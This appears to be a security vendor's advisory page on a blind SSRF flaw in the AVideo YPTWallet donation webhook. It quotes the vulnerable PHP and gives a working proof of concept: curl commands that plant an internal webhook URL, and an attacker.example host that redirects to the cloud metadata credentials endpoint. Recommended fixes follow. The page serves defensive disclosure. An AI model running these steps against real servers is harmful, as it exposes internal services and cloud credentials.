GHSA-wp38-whx3-xffh is a medium-severity (CVSS 5.4) Server-Side Request Forgery (SSRF) vulnerability in wwbn/avideo. O3 Security confirms whether GHSA-wp38-whx3-xffh is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
AVideo has Blind SSRF in YPTWallet Donation Webhook via Missing isSSRFSafeURL() Check and CURLOPT_FOLLOWLOCATION Redirect Bypass
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-wp38-whx3-xffh.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-wp38-whx3-xffh plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 356,453 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An authenticated user can configure their own donation-notification webhook URL to point at internal/loopback/metadata hosts (e.g. http://127.0.0.1:8080/..., http://169.254.169.254/latest/..., RFC1918 addresses). When any other user (including a second account owned by the same attacker) donates even a trivial amount via plugin/CustomizeUser/donate.json.php, the AVideo server issues a curl POST to the attacker-supplied URL, resulting in a blind SSRF. The handler uses only isValidURL() (which is a format check) and does not call the codebase's own isSSRFSafeURL() helper. Additionally, CURLOPT_FOLLOWLOCATION is enabled with no per-hop revalidation, so even if the stored URL were validated, an HTTP 307 from an attacker-controlled host could redirect the POST to internal targets.
Details
Sink: unvalidated curl POST in afterDonation
plugin/YPTWallet/YPTWallet.php:1043-1099
public function afterDonation($from_users_id, $how_much, $videos_id, $users_id, $extraParameters)
{
...
$donation_notification_url = self::getDonationNotificationURL($users_id);
...
if (!empty($donation_notification_url) && isValidURL($donation_notification_url)) {
...
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $donation_notification_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 1);
curl_setopt($ch, CURLOPT_NOSIGNAL, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // line 1081
...
ob_start();
curl_exec($ch);
ob_end_clean();
The gate at line 1064 is isValidURL() only. That helper is a pure format check:
objects/functions.php:4305-4315
function isValidURL($url)
{
if (empty($url) || !is_string($url)) {
return false;
}
if (preg_match("/^http.*/", $url) && filter_var($url, FILTER_VALIDATE_URL)) {
return true;
}
return false;
}
It does not reject http://127.0.0.1, http://169.254.169.254, RFC1918 ranges, or hostnames that resolve to private IPs.
The project already ships a correct SSRF guard at objects/functions.php:4366 (isSSRFSafeURL()), which performs scheme allow-listing, hostname-to-IP resolution, loopback blocking, RFC1918 / link-local / metadata blocking, and IPv4-mapped IPv6 normalization. It is not used here.
Storage path has no SSRF validation
plugin/YPTWallet/view/saveConfiguration.php:31-33
if(isset($_REQUEST['donation_notification_url'])){
$obj->donation_notification_url = YPTWallet::setDonationNotificationURL(User::getId(), $_REQUEST['donation_notification_url']);
}
plugin/YPTWallet/YPTWallet.php:1015-1034
static function setDonationNotificationURL($users_id, $url)
{
$url = trim($url);
$url = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/', '', $url);
$url = htmlspecialchars($url, ENT_QUOTES, 'UTF-8');
if (strlen($url) > 2048) { ... }
$user = new User($users_id);
return $user->addExternalOptions('donation_notification_url', $url);
}
No host/IP/scheme validation. A value like http://127.0.0.1:8080/internal contains none of & < > " ', so htmlspecialchars preserves it verbatim.
Trigger
plugin/CustomizeUser/donate.json.php:88,108
if (YPTWallet::transferBalance(User::getId(), $video->getUsers_id(), $value, ...)) {
...
AVideoPlugin::afterDonation(User::getId(), $value, $videos_id, 0, $obj->extraParameters);
}
...
if (YPTWallet::transferBalance(User::getId(), $users_id, $value, ...)) {
...
AVideoPlugin::afterDonation(User::getId(), $value, 0, $users_id, $obj->extraParameters);
}
Donor must have wallet balance; captcha is required unless disableCaptchaOnWalletDirectTransferDonation is set. An attacker can use two accounts they control: the recipient configures the webhook, the donor (any balance they obtained) triggers the call with a trivial transfer.
FOLLOWLOCATION bypass
Even if isSSRFSafeURL() were added to the upfront check on the stored URL, CURLOPT_FOLLOWLOCATION=true with no per-redirect host validation allows the attacker to point the webhook at an external host they control and return HTTP 307, which preserves the POST method and forwards the body to e.g. http://169.254.169.254/latest/... or any RFC1918 endpoint.
What escapes to the internal request
The POST body is http_build_query($data) where $data contains from_users_id, from_users_name, currency, how_much_human, how_much, message (attacker-controlled from the donate.json.php request), videos_id, users_id, time, and extraParameters. Headers include X-Webhook-Signature: sha256=... and X-Webhook-Timestamp. The response is discarded (ob_start / ob_end_clean, return value ignored), so this is a blind SSRF — exfiltration must use out-of-band channels.
PoC
Prerequisites: two authenticated accounts on the target — Alice (attacker/recipient of donation) and Bob (attacker's second account with a small wallet balance). Captcha is assumed enabled (default).
Step 1 — Alice stores an internal-host webhook URL. No CSRF token is required on this endpoint:
curl -sS -b cookies_alice.txt -X POST 'https://target/plugin/YPTWallet/view/saveConfiguration.php' \
--data-urlencode 'donation_notification_url=http://127.0.0.1:8080/internal/admin/action' \
--data-urlencode 'CryptoWallet='
Response body includes the stored donation_notification_url plus Alice's webhook_secret (the signature is computed with Alice's own secret, so there is no cross-user signature leak).
Step 2 — Start a listener on the target host to observe the blind request:
# On the target server
nc -lvp 8080
Step 3 — Bob donates the minimum amount to Alice (captcha solved):
curl -sS -b cookies_bob.txt -X POST 'https://target/plugin/CustomizeUser/donate.json.php' \
--data 'value=0.01&users_id=<alice_user_id>&message=x&captcha=<solved_value>'
donate.json.php:108 calls AVideoPlugin::afterDonation(...).
Step 4 — Observe the netcat listener: the AVideo server issues:
POST /internal/admin/action HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: <AVideo UA>
Content-Type: application/x-www-form-urlencoded
X-Webhook-Signature: sha256=<hmac>
X-Webhook-Timestamp: <epoch>
Content-Length: ...
from_users_id=<bob>&from_users_name=...¤cy=...&how_much_human=...&how_much=0.01&message=x&videos_id=0&users_id=<alice>&time=...&extraParameters[...]=...
Confirmed: the vulnerable server reaches the loopback port on behalf of the attacker.
Step 5 — FOLLOWLOCATION bypass. Alice registers an external URL she controls:
curl -sS -b cookies_alice.txt -X POST 'https://target/plugin/YPTWallet/view/saveConfiguration.php' \
--data-urlencode 'donation_notification_url=https://attacker.example/r' \
--data-urlencode 'CryptoWallet='
Alice's web server at attacker.example/r responds to the POST with:
HTTP/1.1 307 Temporary Redirect
Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/
Because CURLOPT_FOLLOWLOCATION=true and HTTP 307 preserves method, the AVideo host re-issues the POST to the cloud metadata endpoint. This demonstrates that any future fix that only validates the stored URL (without disabling follow-redirects or validating each hop) remains bypassable.
Impact
- Blind SSRF from authenticated low-privileged users. An attacker reaches internal-only network resources from the AVideo server: loopback services, RFC1918 hosts on the same VPC, cloud metadata endpoints, and any other host the AVideo server can route to.
- State-changing POST to internal endpoints. Because the request method is fixed to POST and the body is attacker-influenced (the
messagefield is user-supplied), an attacker can trigger POST-handled internal admin endpoints, Redis/memcached HTTP-ish consoles, or webhook receivers that accept arbitrary POST bodies. - Cloud metadata reachability via 307 redirect chain. Follow-location support enables redirection into RFC1918 / 169.254.169.254 even if stored-URL validation is later added. Metadata endpoints that accept POST (or GET-via-redirect once the chain involves a 302/303 downgrade) become reachable.
- Blindness limits direct data exfiltration (the response is discarded) but does not prevent state-changing requests, port-probe timing, or DNS-rebinding timing side channels.
- No CSRF protection on
saveConfiguration.php, so this can also be compounded with a forced-browsing or CSRF vector against an authenticated user to plant the webhook on a victim's account.
Recommended Fix
- Call
isSSRFSafeURL()on both the store path and the dispatch path. Inplugin/YPTWallet/YPTWallet.php:1015(setter) and line 1064 (dispatcher), replace:
if (!empty($donation_notification_url) && isValidURL($donation_notification_url)) {
with:
$resolvedIP = null;
if (!empty($donation_notification_url) && isSSRFSafeURL($donation_notification_url, $resolvedIP)) {
and reject the URL in setDonationNotificationURL() before persisting:
static function setDonationNotificationURL($users_id, $url)
{
$url = trim($url);
$url = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/', '', $url);
if (!isSSRFSafeURL($url)) {
_error_log("setDonationNotificationURL: rejected SSRF-unsafe URL for user {$users_id}");
return false;
}
if (strlen($url) > 2048) { ... }
$url = htmlspecialchars($url, ENT_QUOTES, 'UTF-8');
...
}
- Disable automatic redirect following, or implement per-hop validation. Either:
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
Or use CURLOPT_REDIR_PROTOCOLS limited to CURLPROTO_HTTP | CURLPROTO_HTTPS and pin DNS via CURLOPT_RESOLVE using the $resolvedIP from isSSRFSafeURL(), then follow redirects manually by re-validating each Location: header with isSSRFSafeURL() before re-issuing the request.
- Add DNS-pinning to defeat DNS rebinding between the validation and the curl call:
$parts = parse_url($donation_notification_url);
$port = $parts['port'] ?? (($parts['scheme'] ?? 'http') === 'https' ? 443 : 80);
curl_setopt($ch, CURLOPT_RESOLVE, ["{$parts['host']}:{$port}:{$resolvedIP}"]);
- Add a CSRF/global-token check on
plugin/YPTWallet/view/saveConfiguration.php(consistent with the token validation added elsewhere in the codebase in commit11e7804f7) to prevent webhook planting via CSRF on a victim's authenticated session.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | wwbn/avideo | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of wwbn/avideo has shipped for GHSA-wp38-whx3-xffh yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-wp38-whx3-xffh is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-wp38-whx3-xffh. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-wp38-whx3-xffh in your dependencies?
O3 detects GHSA-wp38-whx3-xffh across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.